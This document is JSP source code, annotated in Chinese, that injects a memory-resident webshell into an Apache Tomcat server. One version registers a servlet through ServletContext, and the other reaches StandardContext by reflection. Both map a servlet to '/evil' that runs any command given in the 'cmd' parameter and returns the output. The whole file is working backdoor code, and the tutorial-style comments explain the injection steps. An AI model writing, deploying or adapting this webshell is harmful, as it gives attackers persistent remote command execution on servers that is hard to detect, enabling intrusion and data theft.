<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%
    ServletContext servletContext = request.getServletContext();

    Servlet evilServlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = process.getInputStream();
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                byte[] buffer = new byte[1024];
                int len;
                while ((len = inputStream.read(buffer)) != -1) {
                    baos.write(buffer, 0, len);
                }
                resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
                return;
            }
            resp.getWriter().write("Servlet is running...");
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            doGet(req, resp);
        }
    };

    ServletRegistration.Dynamic dynamic = servletContext.addServlet("evilServlet", evilServlet);
    dynamic.addMapping("/evil");
    out.println("Servlet 内存马注入成功！访问 /evil?cmd=whoami 测试");
%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>

<%
// ========== 第一步：反射获取 StandardContext ==========
// 低版本写法：ServletContext servletContext = request.getSession().getServletContext();
ServletContext servletContext = request.getServletContext();

// 和 Filter 一样，需要反射两层获取核心对象 StandardContext

// 1. 获取 ApplicationContext
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

// 2. 获取 StandardContext
Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);

// 拿到 StandardContext 后，后续操作调用的都是其公开方法（addChild、addServletMappingDecoded），无需再次动用反射。

// ========== 第二步：定义恶意 Servlet（匿名内部类） ==========
// 通过匿名内部类的方式，直接继承抽象类 HttpServlet 并重写 doGet 和 doPost 方法
// 无需单独编写 .java 文件
Servlet evilServlet = new HttpServlet() {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // 获取请求参数 cmd
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            // 调用系统命令
            Process process = Runtime.getRuntime().exec(cmd);
            // 把结果输出到网页
            InputStream inputStream = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int len;
            while ((len = inputStream.read(buffer)) != -1) {
                baos.write(buffer, 0, len);
            }
            resp.getWriter().write(new String(baos.toByteArray(), "GBK"));
            return;
        }
        resp.getWriter().write("Servlet is running...");
    }

    @Override
    // doPost 直接调用 doGet，确保 GET/POST 都能触发命令执行
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        doGet(req, resp);
    }
};

// 为什么 Servlet 不用写 init 和 destroy？
// 因为 HttpServlet 是抽象类，它已经为 init() 和 destroy() 提供了默认的空实现，不写也不会报错。

// 为什么 Filter 必须写 init 和 destroy？
// 因为 Filter 是接口，接口中所有方法都是抽象的，没有方法体。
// 必须把三个方法全部实现，哪怕不需要也得写上空的大括号 {}，否则编译不通过。

// ========== 第三步：通过 StandardContext 注册 Servlet ==========

// 1. 创建 StandardWrapper 包装 Servlet
// 在 Tomcat 内部，每一个 Servlet 都不是直接裸露的，而是被一个 StandardWrapper 对象包装起来
// 类似 Filter 里的 FilterDef 存储 Filter 的元信息（名称、类名、实例引用）
// 需要先包装后才能传入 StandardContext
// 而传入的方法可以直接用 addChild（因为是 public 的）
StandardWrapper wrapper = new StandardWrapper();
wrapper.setName("evilServlet");             // 标识
wrapper.setServlet(evilServlet);            // 直接设置实例
wrapper.setServletClass(evilServlet.getClass().getName()); // 设置类名（可选）

// 2. 将 Wrapper 添加到 StandardContext 的子容器中
standardContext.addChild(wrapper);

// 3. 添加 URL 映射
// 关于 addServletMappingDecoded：
// 在 Tomcat 9 中，旧版的 addServletMapping 已被废弃并移除，取而代之的是 addServletMappingDecoded。
// 带 Decoded 后缀的方法会对 URL 路径进行百分号解码处理，避免双重编码问题。
// 它是 StandardContext 的 public 方法，直接调用即可。
standardContext.addServletMappingDecoded("/evil", "evilServlet");

out.println("Servlet 内存马注入成功（反射方式）！访问 /evil?cmd=whoami 测试");
%>